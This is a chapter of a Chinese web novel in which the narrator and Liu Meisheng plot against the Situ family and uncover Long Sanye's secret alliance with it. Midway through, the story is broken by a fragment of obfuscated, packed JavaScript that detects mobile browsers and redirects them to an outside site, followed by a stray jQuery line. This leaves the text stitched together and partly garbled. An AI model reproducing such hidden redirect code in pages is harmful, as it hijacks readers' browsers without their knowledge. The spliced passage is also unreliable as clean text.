我和柳媚笙折腾了一个小时,我才从床上坐起来。
我拿过烟盒,柳媚笙很有眼力的拿过火机,帮我点燃这只香烟。
“谢谢……”
我微微一笑,柳媚笙也拿过一只烟,然后抽了起来,她抽烟的样子极具妩媚动人,尤其是她吐出一个一个的烟圈,更为她增加了几分魅力。
“你今天对司徒飞动手,他那边不会就这么算了,他丢了这么大的脸,还损失了翡翠宫,你还恐吓敲诈了他的情妇,他肯定会用更激励的手段找回来。”
“我知道。”我抽了一口烟,接着说道:“所以我也没有等他先出手,我直接先下手为强,我不想给他太多对付我的时间。”
柳媚笙抬眼看我:“你还有后手?”
“算不上后手,我只是在他要报复我的路上,多挖几个坑,他现在最想做的,无非两件事:一是找到我,用最解气的方式报复,二是弄清楚我到底抓住了他什么把柄。”
“你把证据交出去了?”柳媚笙皱眉问道。
“没有。”我摇摇头说道:“虚则实之,实则虚之,我手里确实有些东西,但不足以一击致命,最多让他麻烦一阵,所以不如当成悬在他头上的剑,让他时刻提防,分散精力,我对他真正的杀招,不在那些所谓的证据里。”
柳媚笙看着我,眼神里流露出思索:“那在哪里?”
“在他身边。”我缓缓说道,“司徒飞嚣张跋扈,得罪的人不止我一个,他手下那些人,跟着他是为了钱和势,但同样也会因为钱和势背叛他,尤其是当他接连吃亏,显得外强中干的时候。”
“你想从内部瓦解他?”柳媚笙明白了,接着问我:“这需要时间,也需要契机。”
“时间我们有,契机也可以创造。”我说,“比如,如果司徒飞因为‘翡翠宫’被烧而损失惨重,不得不削减手下人的利益,或者因为怀疑内部有鬼而开始猜忌、清洗……那么,裂痕自然就会出现,又或者还有司徒晴这个棋子,当司徒飞这个家主,不如人意的时候,我想司徒家的人应该会选择新的家主。”
柳媚笙沉默了片刻,她没有着急发表意见,只是对我说道:“你比在海城时,更沉得住气了,也更狠了。”
“环境逼的。”我抽着烟说道:“在海城,对手是冯天宇那种草包,在这里,是司徒家这样的庞然大物,我如果不用点心思,活不下去。”
“也包括对我?”她忽然问,抬眼直视着我,目光清冽。
这个问题猝不及防。我迎着她的目光,没有回避:“不包括。”
“是吗?”她嘴角勾起一抹极淡的笑容,问我:“那为什么假死的事,还是最后一个告诉我?”
柳媚笙的旧事重提,让我哭笑不得,看来女人还是记仇。
“这件事,是我错了,没有借口,我当时思绪很乱,局面也太危险。我做了自以为正确的选择,但那选择伤害了你。这是事实,我认。”
我的坦诚似乎让她有些意外。她看了我几秒,然后移开视线,望向窗外沉沉的夜色。
“陈凡,”她轻声说,“我有时候觉得,我看不透你。你好像有很多面,对夏颜是一种样子,对周叶青是一种样子,对我又是另一种样子,哪一面才是真的你?”
这个问题比刚才那个更难回答。我沉默着,思考着。
“都是真的。”良久,我才开口,道:“夏颜需要的是一个可以并肩作战、也能让她安心卸下盔甲的盟友和爱人。周叶青需要的是一个有价值、够狠辣、能帮她对付司徒家的合作者。而你……”
我停顿了一下,看着她被灯光勾勒出的柔和侧影:“你需要什么,我不知道。但我希望在你面前,我可以不用扮演任何角色,可以狼狈,可以犯错,可以……不那么强大。”
这话说出口,我自己都有些讶异。但它就这么自然而然地流了出来,像是一直藏在心底某个角落,直到此刻才被这静谧的夜晚和她的问题牵引出来。
柳媚笙的身体几不可察地颤了一下。她没有回头,但我看到她的耳尖,微微泛起了红晕。
“龙三爷那边,”她忽然换了个话题,声音恢复了平时的清冷,但语速快了些,像是想掩饰什么,“我查到点新东西。”
“哦?”我立刻提起精神。
“他和司徒家,不只是生意往来那么简单。”柳媚笙转过身,表情严肃起来,“十年前,龙三爷在江城遇到过一次**烦,差点翻船。当时出面帮他摆平麻烦、渡过难关的,就是司徒鸣的父亲,司徒老爷子。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005623|192443||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>我眼神一凝:“有恩?”
“不止是恩。”柳媚笙压低了声音,“事后,龙三爷在江城的好几条重要运输线和码头股份,都秘密转给了司徒家代持。名义上是合作,实际上是……投名状,或者说是报答。司徒家借助龙三爷在江城的势力,打通了很多见不得光的渠道。他们之间,是利益深度捆绑的盟友。”
这个消息分量不轻。如果龙三爷和司徒家是这种关系,那么动龙三爷,几乎等于直接和司徒家全面开战。而司徒家在上城的根基,远比冯家深厚得多。
“难怪……”我喃喃道,“难怪司徒鸣做事这么肆无忌惮,原来在江城还有这么一条强援。”
“所以,对付司徒家,或者对付龙三爷,都不能分开看。”柳媚笙总结道,“动了其中一个,另一个绝不会坐视不理。”
局势比预想的更复杂,也更凶险。
我看着柳媚笙,她眼里有对血仇的执着,也有对现实的清醒认知,还有一丝……对我处境的担忧。
“你怕吗?”我问。
“怕?”她笑了笑,笑容里带着一丝苍凉和决绝,“从阿战死的那天起,我就不知道什么叫怕了。我只是……不想连累你卷入太深。这是我的仇。”
“现在也是我的了。”我握住她放在桌上的手,她的手依旧冰凉,“我说过,你的仇,就是我的仇。而且,就算没有你,我和司徒家也已经是不死不休。多一个龙三爷,不过是债多了不愁。”
她看着我握她的手,没有抽回,只是反手,轻轻回握了一下。那力道很轻,却让我心头一暖。
“接下来,你打算怎么做?”她问。
“先应付司徒飞的报复。”我说,“稳住上城的局面。龙三爷那边,需要从长计议,必须找到一击致命的弱点,或者……让他们先乱起来。”
柳媚笙点点头:“江城那边,我会继续查。龙三爷这些年树敌也不少,未必没有空子可钻。”
“小心点。”我叮嘱,“江城不是我们的地盘,安全第一。”
“你也是。”她说,“司徒飞是条疯狗,被逼急了什么都做得出来。”
“陈凡,”她欲言又止。
“嗯?”
“没什么。”她最终摇摇头,转身上了台阶,“早点休息。”